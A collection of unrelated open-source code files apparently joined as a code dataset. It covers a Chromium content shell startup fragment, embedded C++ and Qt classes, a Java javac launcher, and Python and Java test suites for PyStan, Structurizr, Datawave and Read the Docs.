if (command_line.HasSwitch(switches::kRunWebTests)) {
EnableBrowserLayoutTestMode();
#if BUILDFLAG(ENABLE_PLUGINS)
if (!ppapi::RegisterBlinkTestPlugin(&command_line)) {
*exit_code = 1;
return true;
}
#endif
command_line.AppendSwitch(switches::kDisableResizeLock);
command_line.AppendSwitch(cc::switches::kEnableGpuBenchmarking);
command_line.AppendSwitch(switches::kEnableLogging);
command_line.AppendSwitch(switches::kAllowFileAccessFromFiles);
// only default to a software GL if the flag isn't already specified.
if (!command_line.HasSwitch(switches::kUseGpuInTests) &&
!command_line.HasSwitch(switches::kUseGL)) {
command_line.AppendSwitchASCII(
switches::kUseGL,
gl::GetGLImplementationName(gl::GetSoftwareGLImplementation()));
}
command_line.AppendSwitchASCII(
switches::kTouchEventFeatureDetection,
switches::kTouchEventFeatureDetectionEnabled);
if (!command_line.HasSwitch(switches::kForceDeviceScaleFactor))
command_line.AppendSwitchASCII(switches::kForceDeviceScaleFactor, "1.0");
if (!command_line.HasSwitch(switches::kAutoplayPolicy)) {
command_line.AppendSwitchASCII(
switches::kAutoplayPolicy,
switches::autoplay::kNoUserGestureRequiredPolicy);
}
if (!command_line.HasSwitch(switches::kStableReleaseMode)) {
command_line.AppendSwitch(
switches::kEnableExperimentalWebPlatformFeatures);
}
if (!command_line.HasSwitch(switches::kEnableThreadedCompositing)) {
command_line.AppendSwitch(switches::kDisableThreadedCompositing);
command_line.AppendSwitch(cc::switches::kDisableThreadedAnimation);
}
// If we're doing a display compositor pixel dump we ensure that
// we complete all stages of compositing before draw. We also can't have
// checker imaging, since it's imcompatible with single threaded compositor
// and display compositor pixel dumps.
if (command_line.HasSwitch(switches::kEnableDisplayCompositorPixelDump)) {
command_line.AppendSwitch(switches::kRunAllCompositorStagesBeforeDraw);
command_line.AppendSwitch(cc::switches::kDisableCheckerImaging);
}
command_line.AppendSwitch(switches::kEnableInbandTextTracks);
command_line.AppendSwitch(switches::kMuteAudio);
command_line.AppendSwitch(switches::kEnablePreciseMemoryInfo);
command_line.AppendSwitchASCII(network::switches::kHostResolverRules,
"MAP *.test 127.0.0.1");
command_line.AppendSwitch(switches::kEnablePartialRaster);
command_line.AppendSwitch(switches::kEnableWebAuthTestingAPI);
if (!command_line.HasSwitch(switches::kForceGpuRasterization) &&
!command_line.HasSwitch(switches::kEnableGpuRasterization)) {
command_line.AppendSwitch(switches::kDisableGpuRasterization);
}
// If the virtual test suite didn't specify a color space, then force sRGB.
if (!command_line.HasSwitch(switches::kForceColorProfile))
command_line.AppendSwitchASCII(switches::kForceColorProfile, "srgb");
// We want stable/baseline results when running layout tests.
command_line.AppendSwitch(switches::kDisableSkiaRuntimeOpts);
command_line.AppendSwitch(switches::kDisallowNonExactResourceReuse);
// Always run with fake media devices.
command_line.AppendSwitch(switches::kUseFakeUIForMediaStream);
command_line.AppendSwitch(switches::kUseFakeDeviceForMediaStream);
if (!BlinkTestPlatformInitialize()) {
*exit_code = 1;
return true;
}
}
content_client_.reset(switches::IsRunWebTestsSwitchPresent()
? new LayoutTestContentClient
: new ShellContentClient);
SetContentClient(content_client_.get());
return false;
}
void ShellMainDelegate::PreSandboxStartup() {
#if defined(ARCH_CPU_ARM_FAMILY) && (defined(OS_ANDROID) || defined(OS_LINUX))
// Create an instance of the CPU class to parse /proc/cpuinfo and cache
// cpu_brand info.
base::CPU cpu_info;
#endif
// Disable platform crash handling and initialize the crash reporter, if
// requested.
// TODO(crbug.com/753619): Implement crash reporter integration for Fuchsia.
#if !defined(OS_FUCHSIA)
if (base::CommandLine::ForCurrentProcess()->HasSwitch(
switches::kEnableCrashReporter)) {
std::string process_type =
base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII(
switches::kProcessType);
crash_reporter::SetCrashReporterClient(g_shell_crash_client.Pointer());
#if defined(OS_MACOSX) || defined(OS_WIN)
crash_reporter::InitializeCrashpad(process_type.empty(), process_type);
#elif defined(OS_LINUX)
// Reporting for sub-processes will be initialized in ZygoteForked.
if (process_type != service_manager::switches::kZygoteProcess)
breakpad::InitCrashReporter(process_type);
#elif defined(OS_ANDROID)
if (process_type.empty())
breakpad::InitCrashReporter(process_type);
else
breakpad::InitNonBrowserCrashReporterForAndroid(process_type);
#endif // defined(OS_ANDROID)
}
#endif // !defined(OS_FUCHSIA)
crash_reporter::InitializeCrashKeys();
InitializeResourceBundle();
}
int ShellMainDelegate::RunProcess(
const std::string& process_type,
const MainFunctionParams& main_function_params) {
if (!process_type.empty())
return -1;
#if !defined(OS_ANDROID)
// Android stores the BrowserMainRunner instance as a scoped member pointer
// on the ShellMainDelegate class because of different object lifetime.
std::unique_ptr<BrowserMainRunner> browser_runner_;
#endif
base::trace_event::TraceLog::GetInstance()->set_process_name("Browser");
base::trace_event::TraceLog::GetInstance()->SetProcessSortIndex(
kTraceEventBrowserProcessSortIndex);
browser_runner_.reset(BrowserMainRunner::Create());
base::CommandLine& command_line = *base::CommandLine::ForCurrentProcess();
return command_line.HasSwitch(switches::kRunWebTests) ||
command_line.HasSwitch(switches::kCheckLayoutTestSysDeps)
? LayoutTestBrowserMain(main_function_params, browser_runner_)
: ShellBrowserMain(main_function_params, browser_runner_);
}
#if defined(OS_LINUX)
void ShellMainDelegate::ZygoteForked() {
if (base::CommandLine::ForCurrentProcess()->HasSwitch(
switches::kEnableCrashReporter)) {
std::string process_type =
base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII(
switches::kProcessType);
breakpad::InitCrashReporter(process_type);
}
}
#endif // defined(OS_LINUX)
void ShellMainDelegate::InitializeResourceBundle() {
#if defined(OS_ANDROID)
// On Android, the renderer runs with a different UID and can never access
// the file system. Use the file descriptor passed in at launch time.
auto* global_descriptors = base::GlobalDescriptors::GetInstance();
int pak_fd = global_descriptors->MaybeGet(kShellPakDescriptor);
base::MemoryMappedFile::Region pak_region;
if (pak_fd >= 0) {
pak_region = global_descriptors->GetRegion(kShellPakDescriptor);
} else {
pak_fd =
base::android::OpenApkAsset("assets/content_shell.pak", &pak_region);
// Loaded from disk for browsertests.
if (pak_fd < 0) {
base::FilePath pak_file;
bool r = base::PathService::Get(base::DIR_ANDROID_APP_DATA, &pak_file);
DCHECK(r);
pak_file = pak_file.Append(FILE_PATH_LITERAL("paks"));
pak_file = pak_file.Append(FILE_PATH_LITERAL("content_shell.pak"));
int flags = base::File::FLAG_OPEN | base::File::FLAG_READ;
pak_fd = base::File(pak_file, flags).TakePlatformFile();
pak_region = base::MemoryMappedFile::Region::kWholeFile;
}
global_descriptors->Set(kShellPakDescriptor, pak_fd, pak_region);
}
DCHECK_GE(pak_fd, 0);
// This is clearly wrong. See crbug.com/330930
ui::ResourceBundle::InitSharedInstanceWithPakFileRegion(base::File(pak_fd),
pak_region);
ui::ResourceBundle::GetSharedInstance().AddDataPackFromFileRegion(
base::File(pak_fd), pak_region, ui::SCALE_FACTOR_100P);
#elif defined(OS_MACOSX)
ui::ResourceBundle::InitSharedInstanceWithPakPath(GetResourcesPakFilePath());
#else
base::FilePath pak_file;
bool r = base::PathService::Get(base::DIR_ASSETS, &pak_file);
DCHECK(r);
pak_file = pak_file.Append(FILE_PATH_LITERAL("content_shell.pak"));
ui::ResourceBundle::InitSharedInstanceWithPakPath(pak_file);
#endif
}
ContentBrowserClient* ShellMainDelegate::CreateContentBrowserClient() {
browser_client_.reset(switches::IsRunWebTestsSwitchPresent()
? new LayoutTestContentBrowserClient
: new ShellContentBrowserClient);
return browser_client_.get();
}
ContentGpuClient* ShellMainDelegate::CreateContentGpuClient() {
gpu_client_.reset(new ShellContentGpuClient);
return gpu_client_.get();
}
ContentRendererClient* ShellMainDelegate::CreateContentRendererClient() {
renderer_client_.reset(switches::IsRunWebTestsSwitchPresent()
? new LayoutTestContentRendererClient
: new ShellContentRendererClient);
return renderer_client_.get();
}
ContentUtilityClient* ShellMainDelegate::CreateContentUtilityClient() {
utility_client_.reset(new ShellContentUtilityClient(is_browsertest_));
return utility_client_.get();
}
} // namespace content
| 6,032 |
362 | <reponame>hvarg/weightless<filename>src/lib/popover-card/blueprint.json
{
"extend": "blueprint.json",
"input": "src/lib/popover-card/blueprint.md",
"output": "src/lib/popover-card/README.md",
"tag": "wl-popover-card",
"demo": "https://weightless.dev/elements/popover",
"img": "https://raw.githubusercontent.com/andreasbm/elements/documentation/screenshots/wl-popover.png"
} | 151 |
1,030 | <gh_stars>1000+
"""Test constrain parameters."""
import random
import numpy as np
import pytest
import stan
program_code = """
parameters {
real x;
real<lower=0> y;
}
transformed parameters {
real x_mult = x * 2;
}
generated quantities {
real z = x + y;
}
"""
num_samples = 1000
num_chains = 4
x = random.uniform(0, 10)
y = random.uniform(0, 10)
@pytest.fixture(scope="module")
def posterior():
return stan.build(program_code, random_seed=1)
@pytest.mark.parametrize("x", [x])
@pytest.mark.parametrize("y", [y])
def test_log_prob(posterior, x: float, y: float):
constrained_params = posterior.constrain_pars([x, y])
constrained_pars = {
"x": constrained_params[0],
"y": constrained_params[1],
"x_mult": constrained_params[2],
"z": constrained_params[3],
}
unconstrained_params = posterior.unconstrain_pars(constrained_pars)
assert np.allclose([x, y], unconstrained_params)
| 385 |
607 | <reponame>AIHZP/andysworkshop-stm32plus<gh_stars>100-1000
/*
* This file is a part of the open source stm32plus library.
* Copyright (c) 2011,2012,2013,2014 <NAME> <www.andybrown.me.uk>
* Please see website for licensing terms.
*/
#pragma once
namespace stm32plus {
namespace display {
/**
* @brief base class for post processors of touch screen coords
*
* A post processor may perform such functions as averaging successive points to
* get a more stable result.
*/
class TouchScreenPostProcessor {
public:
/**
* Possible results from the postProcess call.
*/
enum PostProcessAction {
/// post processing is completed, no more samples are required
Completed,
/// something went wrong in the post processing, abort.
Error,
/// more sample are required, call postProcess again.
MoreSamplesRequired
};
public:
/**
* Post process a point from the touch screen.
* @param[in] point The point received from the touch screen.
* @param[in] sequenceNumber The zero based index of this sample from the
* touch screen.
*/
virtual PostProcessAction postProcess(Point& point,int sequenceNumber)=0;
virtual ~TouchScreenPostProcessor() {}
};
}
}
| 512 |
3,266 | package frege.runtime;
import java.io.File;
import java.io.IOException;
import java.util.Arrays;
import javax.tools.JavaCompiler;
import javax.tools.JavaCompiler.CompilationTask;
import javax.tools.JavaFileObject;
import javax.tools.StandardJavaFileManager;
import javax.tools.ToolProvider;
public class Javac {
final static String fregeJavac = System.getProperty("frege.javac");
public static int runJavac(final String[] cmd) {
final JavaCompiler compiler =
fregeJavac == null || fregeJavac.startsWith("internal") ?
ToolProvider.getSystemJavaCompiler() : null;
StringBuilder sb = new StringBuilder();
for (String s : cmd) { sb.append(s); sb.append(" "); }
if (compiler != null) {
// use the internal compiler
final StandardJavaFileManager fileManager =
compiler.getStandardFileManager(null, null, null);
int lastopt = cmd.length - 1;
while (cmd[lastopt].endsWith(".java")) lastopt--;
File[] files = new File[cmd.length-1-lastopt];
for (int i=0; i<files.length; i++)
files[i] = new File(cmd[lastopt+1+i]);
String[] options = new String[cmd.length-files.length-1];
for (int i=0; i<options.length; i++)
options[i] = cmd[i+1];
Iterable<? extends JavaFileObject> compilationUnits =
fileManager.getJavaFileObjectsFromFiles(Arrays.asList(files));
System.err.println("calling: " + sb.toString());
CompilationTask task = compiler.getTask(null,
fileManager, null,
Arrays.asList(options),
null, compilationUnits);
boolean success = task.call();
try {
fileManager.flush();
fileManager.close();
} catch (IOException e) {
// what can we do here?
System.err.println(e.getMessage() + " while flushing/closing javac file manager.");
return 1;
}
return success ? 0 : 1;
}
try {
// String cmd = "javac -cp " + cp + " -d " + d + " " + src;
int cex = 0;
System.err.println("running: " + sb.toString());
Process jp = java.lang.Runtime.getRuntime().exec(cmd);
// if (Common.verbose)
java.io.InputStream is = jp.getErrorStream();
while ((cex = is.read()) >= 0) {
System.err.write(cex);
}
if ((cex = jp.waitFor()) != 0) {
System.err.println("javac terminated with exit code " + cex);
}
return cex;
} catch (java.io.IOException e) {
System.err.println("Can't javac (" + e.getMessage() + ")");
} catch (InterruptedException e) {
System.err.println("Can't javac (" + e.getMessage() + ")");
}
return 1;
}
}
| 1,048 |
815 | /*=========================================================================
Program: ParaView
Module: pqHighlightablePushButton.cxx
Copyright (c) 2005,2006 Sandia Corporation, Kitware Inc.
All rights reserved.
ParaView is a free software; you can redistribute it and/or modify it
under the terms of the ParaView license version 1.2.
See License_v1.2.txt for the full ParaView license.
A copy of this license can be obtained by contacting
Kitware Inc.
28 Corporate Drive
Clifton Park, NY 12065
USA
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
========================================================================*/
#include "pqHighlightablePushButton.h"
#include <QColor>
#include <QPalette>
class pqHighlightablePushButton::pqInternals
{
public:
QPalette ResetPalette;
};
//-----------------------------------------------------------------------------
pqHighlightablePushButton::pqHighlightablePushButton(QWidget* parentA)
: Superclass(parentA)
, Internals(new pqHighlightablePushButton::pqInternals())
{
this->Internals->ResetPalette = this->palette();
}
//-----------------------------------------------------------------------------
pqHighlightablePushButton::pqHighlightablePushButton(const QString& textA, QWidget* parentA)
: Superclass(textA, parentA)
, Internals(new pqHighlightablePushButton::pqInternals())
{
this->Internals->ResetPalette = this->palette();
}
//-----------------------------------------------------------------------------
pqHighlightablePushButton::pqHighlightablePushButton(
const QIcon& iconA, const QString& textA, QWidget* parentA)
: Superclass(iconA, textA, parentA)
, Internals(new pqHighlightablePushButton::pqInternals())
{
this->Internals->ResetPalette = this->palette();
}
//-----------------------------------------------------------------------------
pqHighlightablePushButton::~pqHighlightablePushButton() = default;
//-----------------------------------------------------------------------------
void pqHighlightablePushButton::highlight(bool clearHighlight)
{
QPalette buttonPalette = this->Internals->ResetPalette;
if (clearHighlight == false)
{
buttonPalette.setColor(QPalette::Active, QPalette::Button, QColor(161, 213, 135));
buttonPalette.setColor(QPalette::Inactive, QPalette::Button, QColor(161, 213, 135));
}
this->setPalette(buttonPalette);
}
| 894 |
954 | <filename>src/main/java/com/jdon/controller/context/SessionWrapper.java
package com.jdon.controller.context;
public interface SessionWrapper {
Object getAttribute(String key);
void setAttribute(String key, Object o);
}
| 78 |
348 | {"nom":"<NAME>","circ":"1ère circonscription","dpt":"Charente","inscrits":5147,"abs":3124,"votants":2023,"blancs":89,"nuls":61,"exp":1873,"res":[{"nuance":"REM","nom":"<NAME>","voix":1051},{"nuance":"FI","nom":"<NAME>","voix":822}]} | 94 |
1,367 | <filename>saklib/src/main/java/com/wanjian/sak/system/canvas/compact/HardwareCanvasV23Impl.java
package com.wanjian.sak.system.canvas.compact;
import android.graphics.Canvas;
import android.view.Choreographer;
import android.view.DisplayListCanvas;
import android.view.RenderNode;
import android.view.ThreadedRenderer;
import android.view.View;
import android.view.ViewRootImpl;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
class HardwareCanvasV23Impl extends HardwareCanvasV21Impl {
private DisplayListCanvas canvas;
HardwareCanvasV23Impl(ViewRootImpl viewRootImpl) {
super(viewRootImpl);
}
protected Canvas innerRequire() {
if (threadRenderer != null && isThreadRendererEnable(threadRenderer)) {
markDrawStart(Choreographer.getInstance());
mRootNode = getRooNode(threadRenderer);
canvas = mRootNode.start(getSurfaceW(threadRenderer), getSurfaceH(threadRenderer));
saveCount = canvas.save();
canvas.translate(getInsertLeft(), getInsertTop());
canvas.translate(-getHardwareXOffset(), -getHardwareYOffset());
canvas.insertReorderBarrier();
canvas.drawRenderNode(getUpdateDisplayListIfDirty(viewRootImpl.getView()));
canvas.insertInorderBarrier();
return canvas;
} else {
mRootNode = null;
return getSoftCanvas().requireCanvas();
}
}
protected void innerRelease() {
if (mRootNode != null) {
// canvas.insertInorderBarrier();
canvas.restoreToCount(saveCount);
mRootNode.end(canvas);
nSyncAndDrawFrame();
} else {
getSoftCanvas().releaseCanvas();
}
}
protected void markDrawStart(Choreographer choreographer) {
// final Choreographer choreographer = attachInfo.mViewRootImpl.mChoreographer;
// choreographer.mFrameInfo.markDrawStart();
try {
Field mFrameInfoF = Choreographer.class.getDeclaredField("mFrameInfo");
mFrameInfoF.setAccessible(true);
Object mFrameInfo = mFrameInfoF.get(choreographer);
Method markDrawStartM = mFrameInfo.getClass().getDeclaredMethod("markDrawStart");
markDrawStartM.setAccessible(true);
markDrawStartM.invoke(mFrameInfo);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
protected void nSyncAndDrawFrame() {
final long[] frameInfo = getFrameInfo(Choreographer.getInstance());
nSyncAndDrawFrame(getNativeProxy(viewRootImpl), frameInfo, frameInfo.length);
}
private static void nSyncAndDrawFrame(long nativeProxy, long[] frameInfo, int length) {
// private static native int nSyncAndDrawFrame(long nativeProxy, long[] frameInfo, int size);
try {
Method nSyncAndDrawFrameM = ThreadedRenderer.class.getDeclaredMethod("nSyncAndDrawFrame", long.class, long[].class, int.class);
nSyncAndDrawFrameM.setAccessible(true);
nSyncAndDrawFrameM.invoke(null, nativeProxy, frameInfo, length);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
private static long[] getFrameInfo(Choreographer choreographer) {
// choreographer.mFrameInfo.mFrameInfo;
try {
Field mFrameInfoF = Choreographer.class.getDeclaredField("mFrameInfo");
mFrameInfoF.setAccessible(true);
Object mFrameInfo = mFrameInfoF.get(choreographer);
Field mFrameInfoF2 = mFrameInfo.getClass().getDeclaredField("mFrameInfo");
mFrameInfoF2.setAccessible(true);
return (long[]) mFrameInfoF2.get(mFrameInfo);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
private RenderNode getUpdateDisplayListIfDirty(View view) {
try {
Method method = View.class.getDeclaredMethod("updateDisplayListIfDirty");
method.setAccessible(true);
return (RenderNode) method.invoke(view);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
| 1,368 |
1,123 | <reponame>foufrix/react-native-video-processing
//
// RNVideoProcessing.h
// RNVideoProcessing
//
#ifndef RNVideoProcessing_h
#define RNVideoProcessing_h
#import "React/RCTView.h"
#import "SDAVAssetExportSession.h"
#import "RNTrimmerView.h"
#endif /* RNVideoProcessing_h */
| 108 |
881 | <filename>structurizr-client/test/unit/com/structurizr/io/json/JsonTests.java
package com.structurizr.io.json;
import com.structurizr.Workspace;
import com.structurizr.model.*;
import org.junit.Test;
import java.io.StringReader;
import java.io.StringWriter;
import java.util.UUID;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
public class JsonTests {
@Test
public void test_write_and_read() throws Exception {
final Workspace workspace1 = new Workspace("Name", "Description");
// output the model as JSON
JsonWriter jsonWriter = new JsonWriter(true);
StringWriter stringWriter = new StringWriter();
jsonWriter.write(workspace1, stringWriter);
// and read it back again
JsonReader jsonReader = new JsonReader();
StringReader stringReader = new StringReader(stringWriter.toString());
final Workspace workspace2 = jsonReader.read(stringReader);
assertEquals("Name", workspace2.getName());
assertEquals("Description", workspace2.getDescription());
}
@Test
public void test_backwardsCompatibilityOfRenamingEnterpriseContextViewsToSystemLandscapeViews() throws Exception {
Workspace workspace = new Workspace("Name", "Description");
workspace.getViews().createSystemLandscapeView("key", "description");
JsonWriter jsonWriter = new JsonWriter(false);
StringWriter stringWriter = new StringWriter();
jsonWriter.write(workspace, stringWriter);
String workspaceAsJson = stringWriter.toString();
workspaceAsJson = workspaceAsJson.replaceAll("systemLandscapeViews", "enterpriseContextViews");
JsonReader jsonReader = new JsonReader();
StringReader stringReader = new StringReader(workspaceAsJson);
workspace = jsonReader.read(stringReader);
assertEquals(1, workspace.getViews().getSystemLandscapeViews().size());
}
@Test
public void test_write_and_read_withCustomIdGenerator() throws Exception {
Workspace workspace1 = new Workspace("Name", "Description");
workspace1.getModel().setIdGenerator(new CustomIdGenerator());
Person user = workspace1.getModel().addPerson("User");
SoftwareSystem softwareSystem = workspace1.getModel().addSoftwareSystem("Software System");
user.uses(softwareSystem, "Uses");
// output the model as JSON
JsonWriter jsonWriter = new JsonWriter(true);
StringWriter stringWriter = new StringWriter();
jsonWriter.write(workspace1, stringWriter);
// and read it back again
JsonReader jsonReader = new JsonReader();
jsonReader.setIdGenerator(new CustomIdGenerator());
StringReader stringReader = new StringReader(stringWriter.toString());
Workspace workspace2 = jsonReader.read(stringReader);
assertEquals(user.getId(), workspace2.getModel().getPersonWithName("User").getId());
assertNotNull(workspace2.getModel().getElement(user.getId()));
}
class CustomIdGenerator implements IdGenerator {
@Override
public String generateId(Element element) {
return UUID.randomUUID().toString();
}
@Override
public String generateId(Relationship relationship) {
return UUID.randomUUID().toString();
}
@Override
public void found(String id) {
}
}
} | 1,230 |
14,668 | // Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chromecast/public/cast_media_shlib.h"
#include "chromecast/media/cma/backend/media_pipeline_backend_for_mixer.h"
namespace chromecast {
namespace media {
MediaPipelineBackend* CastMediaShlib::CreateMediaPipelineBackend(
const MediaPipelineDeviceParams& params) {
return new MediaPipelineBackendForMixer(params);
}
bool CastMediaShlib::SupportsMediaClockRateChange() {
return false;
}
double CastMediaShlib::GetMediaClockRate() {
return 0.0;
}
double CastMediaShlib::MediaClockRatePrecision() {
return 0.0;
}
void CastMediaShlib::MediaClockRateRange(double* minimum_rate,
double* maximum_rate) {
*minimum_rate = 0.0;
*maximum_rate = 1.0;
}
bool CastMediaShlib::SetMediaClockRate(double new_rate) {
return false;
}
} // namespace media
} // namespace chromecast
| 361 |
435 | package datawave.query.testframework;
import datawave.data.normalizer.Normalizer;
import datawave.data.type.IpAddressType;
import datawave.ingest.csv.config.helper.ExtendedCSVHelper;
import datawave.ingest.data.config.CSVHelper;
import datawave.ingest.data.config.ingest.BaseIngestHelper;
import datawave.ingest.input.reader.EventRecordReader;
import org.apache.log4j.Logger;
import java.io.IOException;
import java.net.URISyntaxException;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
import java.util.stream.Stream;
/**
* Data configuration for IP address data.
*/
public class IpAddressDataType extends AbstractDataTypeConfig {
private static final Logger log = Logger.getLogger(IpAddressDataType.class);
/**
* Contains predefined datatypes for ip address tests.
*/
public enum IpAddrEntry {
// predefined ip address data
ipbase("input/ipaddress.csv", "ipaddr");
private final String ingestFile;
private final String datatype;
IpAddrEntry(final String file, final String name) {
this.ingestFile = file;
this.datatype = name;
}
private String getIngestFile() {
return this.ingestFile;
}
private String getDatatype() {
return this.datatype;
}
}
/**
* Defines the fields for IPAddress data. Data files based upon this datatype must populate these fields.
*/
public enum IpAddrField {
// maintain correct order for input csv files
START_DATE(Normalizer.LC_NO_DIACRITICS_NORMALIZER),
EVENT_ID(Normalizer.LC_NO_DIACRITICS_NORMALIZER),
PUBLIC_IP(Normalizer.IP_ADDRESS_NORMALIZER, true),
PRIVATE_IP(Normalizer.IP_ADDRESS_NORMALIZER),
LOCATION(Normalizer.LC_NO_DIACRITICS_NORMALIZER),
PLANET(Normalizer.LC_NO_DIACRITICS_NORMALIZER, true);
private static final List<String> Headers;
static {
Headers = Stream.of(IpAddrField.values()).map(e -> e.name()).collect(Collectors.toList());
}
/**
* Retrieves the enumeration that matches the specified field.
*
* @param field
* string representation of the field as returned by {@link #name}
* @return enumeration value
* @throws AssertionError
* field does not match any of the enumeration values
*/
public static IpAddrField getField(final String field) {
for (final IpAddrField f : IpAddrField.values()) {
if (f.name().equalsIgnoreCase(field)) {
return f;
}
}
throw new AssertionError("invalid field(" + field + ")");
}
public static List<String> headers() {
return Headers;
}
private static final Map<String,RawMetaData> fieldMetadata;
static {
fieldMetadata = new HashMap<>();
for (IpAddrField field : IpAddrField.values()) {
fieldMetadata.put(field.name().toLowerCase(), field.metadata);
}
}
/**
* Returns mapping of ip address fields to the metadata for the field.
*
* @return populate map
*/
public static Map<String,RawMetaData> getFieldsMetadata() {
return fieldMetadata;
}
private RawMetaData metadata;
IpAddrField(final Normalizer<?> normalizer) {
this(normalizer, false);
}
IpAddrField(final Normalizer<?> normalizer, final boolean isMulti) {
this.metadata = new RawMetaData(this.name(), normalizer, isMulti);
}
/**
* Returns the metadata for this field.
*
* @return metadata
*/
public RawMetaData getMetadata() {
return metadata;
}
}
// ==================================
// data manager info
private static final RawDataManager manager = new IpAddressDataManager();
public static RawDataManager getManager() {
return manager;
}
/**
* Creates an ip address datatype entry with all of the key/value configuration settings.
*
* @param addr
* entry for ingest containing datatype and ingest file
* @param config
* hadoop field configuration
* @throws IOException
* unable to load ingest file
* @throws URISyntaxException
* unable to resolve ingest file
*/
public IpAddressDataType(final IpAddrEntry addr, final FieldConfig config) throws IOException, URISyntaxException {
this(addr.getDatatype(), addr.getIngestFile(), config);
}
/**
* Constructor for ip address ingest files that are not defined in the class {@link IpAddressDataType.IpAddrEntry}.
*
* @param datatype
* name of the datatype
* @param ingestFile
* ingest file path
* @param config
* hadoop field configuration
* @throws IOException
* error loading ingest data
* @throws URISyntaxException
* ingest file name error
*/
public IpAddressDataType(final String datatype, final String ingestFile, final FieldConfig config) throws IOException, URISyntaxException {
super(datatype, ingestFile, config, manager);
// NOTE: see super for default settings
// set datatype settings
this.hConf.set(this.dataType + EventRecordReader.Properties.EVENT_DATE_FIELD_NAME, IpAddrField.START_DATE.name());
this.hConf.set(this.dataType + EventRecordReader.Properties.EVENT_DATE_FIELD_FORMAT, DATE_FIELD_FORMAT);
this.hConf.set(this.dataType + ExtendedCSVHelper.Properties.EVENT_ID_FIELD_NAME, IpAddrField.EVENT_ID.name());
// set type for ip address
this.hConf.set(this.dataType + "." + IpAddrField.PUBLIC_IP.name() + BaseIngestHelper.FIELD_TYPE, IpAddressType.class.getName());
this.hConf.set(this.dataType + "." + IpAddrField.PRIVATE_IP.name() + BaseIngestHelper.FIELD_TYPE, IpAddressType.class.getName());
// fields
this.hConf.set(this.dataType + CSVHelper.DATA_HEADER, String.join(",", IpAddrField.headers()));
log.debug(this.toString());
}
@Override
public String toString() {
return this.getClass().getSimpleName() + "{" + super.toString() + "}";
}
}
| 2,966 |
4,054 | <reponame>yarons/readthedocs.org
# Copied from test_middleware.py
import pytest
from django.http import HttpRequest
from django.test import TestCase
from django.test.utils import override_settings
from django_dynamic_fixture import get
from readthedocs.builds.models import Version
from readthedocs.projects.constants import PUBLIC
from readthedocs.projects.models import Domain, Project, ProjectRelationship
from readthedocs.proxito.middleware import ProxitoMiddleware
from readthedocs.rtd_tests.base import RequestFactoryTestMixin
from readthedocs.rtd_tests.utils import create_user
@pytest.mark.proxito
@override_settings(PUBLIC_DOMAIN='dev.readthedocs.io')
class MiddlewareTests(RequestFactoryTestMixin, TestCase):
def setUp(self):
self.middleware = ProxitoMiddleware()
self.url = '/'
self.owner = create_user(username='owner', password='<PASSWORD>')
self.pip = get(
Project,
slug='pip',
users=[self.owner],
privacy_level='public'
)
def run_middleware(self, request):
return self.middleware.process_request(request)
def test_proper_cname(self):
domain = 'docs.random.com'
get(Domain, project=self.pip, domain=domain)
request = self.request(method='get', path=self.url, HTTP_HOST=domain)
res = self.run_middleware(request)
self.assertIsNone(res)
self.assertEqual(request.cname, True)
self.assertEqual(request.host_project_slug, 'pip')
def test_proper_cname_https_upgrade(self):
cname = 'docs.random.com'
get(Domain, project=self.pip, domain=cname, canonical=True, https=True)
for url in (self.url, '/subdir/'):
request = self.request(method='get', path=url, HTTP_HOST=cname)
res = self.run_middleware(request)
self.assertIsNone(res)
self.assertTrue(hasattr(request, 'canonicalize'))
self.assertEqual(request.canonicalize, 'https')
def test_canonical_cname_redirect(self):
"""Requests to the public domain URL should redirect to the custom domain if the domain is canonical/https."""
cname = 'docs.random.com'
domain = get(Domain, project=self.pip, domain=cname, canonical=False, https=False)
request = self.request(method='get', path=self.url, HTTP_HOST='pip.dev.readthedocs.io')
res = self.run_middleware(request)
self.assertIsNone(res)
self.assertFalse(hasattr(request, 'canonicalize'))
# Make the domain canonical/https and make sure we redirect
domain.canonical = True
domain.https = True
domain.save()
for url in (self.url, '/subdir/'):
request = self.request(method='get', path=url, HTTP_HOST='pip.dev.readthedocs.io')
res = self.run_middleware(request)
self.assertIsNone(res)
self.assertTrue(hasattr(request, 'canonicalize'))
self.assertEqual(request.canonicalize, 'canonical-cname')
def test_subproject_redirect(self):
"""Requests to a subproject should redirect to the domain of the main project."""
subproject = get(
Project,
name='subproject',
slug='subproject',
users=[self.owner],
privacy_level=PUBLIC,
)
subproject.versions.update(privacy_level=PUBLIC)
get(
ProjectRelationship,
parent=self.pip,
child=subproject,
)
for url in (self.url, '/subdir/', '/en/latest/'):
request = self.request(method='get', path=url, HTTP_HOST='subproject.dev.readthedocs.io')
res = self.run_middleware(request)
self.assertIsNone(res)
self.assertEqual(getattr(request, 'canonicalize', None), 'subproject-main-domain')
# Using a custom domain in a subproject isn't supported (or shouldn't be!).
cname = 'docs.random.com'
domain = get(
Domain,
project=subproject,
domain=cname,
canonical=True,
https=True,
)
